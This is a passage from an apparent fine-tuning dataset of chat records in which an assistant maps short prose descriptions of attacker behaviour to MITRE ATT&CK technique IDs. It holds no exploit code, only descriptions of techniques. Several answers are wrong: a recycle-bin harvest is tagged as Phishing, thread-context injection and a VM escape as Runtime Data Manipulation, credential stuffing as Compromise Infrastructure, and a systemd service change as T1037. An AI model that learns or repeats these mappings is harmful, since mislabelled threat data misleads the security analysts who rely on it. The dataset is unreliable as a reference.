                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs DNS queries for subdomains generated using a deterministic algorithm, using the first successful response as its C2 endpoint."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a script that calls the cloud provider's snapshot API to clone a VM's storage volume for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious update, the malware disables the secure enclave functionality on ARM devices, nullifying hardware-protected key storage."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding malicious scripts in a Word macro and later stamping over the macro with clean VBA, the threat actor conceals its activity."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues 'net localgroup administrators' to discover privileged local accounts on the host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by embedding it within HTTP traffic to a public web server without encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a compromised OAuth token to impersonate a user’s email account via the Google API."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exfiltration, the group uses PowerShell to empty Exchange mailboxes of all logs and messages."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the legitimate tsclient.dll on a compromised Windows host with a malicious DLL, causing it to be loaded by the Terminal Services client during RDP sessions."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool harvests the contents of the recycle bin to locate deleted confidential files."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A breach leveraged a service account to issue a REST API request that removes a DigitalOcean droplet."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell's Get-Service cmdlet, the intruder lists running services to identify potential targets."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group utilizes the mail protocol (SMTP) to perform command and control, regularly checking a dedicated inbox for new instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gained access to a software vendor’s continuous integration server and altered the signed installer, causing victims to install a backdoored version of the application."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group engineers a boot‑kit that modifies the MBR to persist before OS boot."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a malicious Perl script to automate the installation of additional backdoors on the target host."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary takes advantage of an insecure API endpoint to inject script tags into JSON responses, leading to client-side code execution."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module finishes by executing \"history -w\" to overwrite the history file with empty content."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing script parsed IRC channel logs for passwords that users inadvertently posted during discussion."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised browser extension accesses the saved passwords API to harvest user credentials for banking sites."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs ntdsutil to dump domain password hashes from the NTDS database."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a stealthy hidden GUI window that remains off-screen, allowing them to monitor system activity covertly."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker intercepts the MFA token using a real-time phishing page that mimics the login portal, then submits the captured code to complete the authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged PowerShell's Set-Acl cmdlet to replace the Access Control Entries (ACEs) on a user’s Documents folder, granting read/write permissions to the attacker’s service account."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker includes a hard‑coded domain in the payload and resolves it via system DNS calls each time it needs to communicate, avoiding hard‑coded IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a script, the malicious code sends logs in sub-5MB chunks to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create and utilize a temporary file to store sensitive information before exfiltrating it"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape open-source code repositories for hard‑coded passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised macro-enabled PowerPoint template (.potm) is shared on a network share; opening the template triggers the macro to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use valid SSH credentials to remotely access a Linux host and execute commands."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage campaign harvested public records and property tax filings to build profiles of high‑value individuals within the target organization."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performed a recursive copy of all files in the \\company\\shared directory."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modified both the MFT entry and the file's metadata timestamps to hide the presence of their exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set runs PowerShell scripts to create new scheduled tasks for persistence on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan polls a DNS server for a specific wildcard domain, interpreting the IP address returned as a cryptographic key."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leveraged SNMP to pull configuration details from switches by dumping the MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors executed a Python backdoor script to establish a reverse shell to their C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the OS to suppress antivirus alerts and stops the generation of security event logs."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware corrupts the hardware security module (HSM) firmware, rendering the crypto accelerator unusable."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses the GetCurrentProcessToken function to read the token and discover the associated user SID."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers establish a proxy chain, hopping from one proxy to another, to bypass firewall restrictions and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary implants a symmetric key into the victim’s registry, then uses this key to encrypt all future communications with the C2."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code searches for Windows INI files that store admin passwords in clear text and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign harvests domain credentials which are later used for authentication to internal applications."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module runs \"clock\" commands on macOS to capture the current system time, informing time-based evasion techniques."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a trusted system service via the CreateRemoteThread API, enabling elevated privileges and persistence."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a fake LinkedIn message containing a malicious link that, when clicked, installs a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits the lack of quotes around the PATH environment variable by inserting a rogue program named 'svchost.exe' in a high‑priority folder to be executed first."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary invokes malicious code through AWS Lambda functions by sending crafted API requests to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs code injection via SetThreadContext to change the execution flow of a running process."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .locky file on each encrypted document, indicating that the files have been encrypted for impact."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Shodan to locate internet‑exposed systems that run vulnerable versions of a particular application."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program creates an endless loop of large matrix multiplications on the endpoint, saturating the processor and leading to denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used ransomware deployment to gain access and then altered the internal portal's login page with a defaced graphic."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors performed a credential stuffing attack against an admin portal, gaining access to the web service's management console."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Outlook's rule engine to automatically download and run a malicious attachment from trusted contacts, gaining initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious DLL in the application’s working directory so that when the program loads its dependencies, the rogue DLL is loaded first due to the DLL search order."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pads the executable with irrelevant bytes to make static analysis more difficult and to bypass hash‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replay a valid SAML assertion to gain access to an enterprise application without authenticating again."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script alters the /etc/pam.d/login configuration to add a new \"pam_exec\" rule that grants a hidden backdoor account passwordless access."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits searchable CVE feeds to compile a list of high‑severity vulnerabilities affecting the organization’s software stack."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious process writes its output as a hex string to avoid detection by file scanners."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromising script retrieved the default gateway and subnet mask for each interface."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool locates and copies browser password databases (e.g., Chrome Login Data) and compresses them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a custom Windows socket filter driver to intercept and manipulate network traffic, allowing them to redirect traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry key for COR_PROFILER, the threat actor injects a malicious profiler that runs with the compromised application's privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a script that copies the contents of the clipboard to a remote C2."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the runtime data of a virtualization hypervisor to escape from a guest VM into the host environment."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team executes cmstp.exe with a malicious .inf file containing a rundll32 command to load a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the adversary accesses the Subversion repository and checks out the latest code for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the systemd unit file to start a rogue service during system startup."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the executable path in a LaunchAgent plist and reloads it via launchctl to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary removes the Zone.Identifier alternate data stream from a downloaded executable to bypass the Mark‑of‑the‑Web security warning."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable Flash plugin on a compromised web server to deliver a malicious payload via a drive-by compromise technique."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor hijacks an existing WinRM session by injecting malicious PowerShell commands to control the remote host."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code into a third‑party npm package that is later imported by the target organization’s web application, allowing remote execution on victim machines."
            },
            {
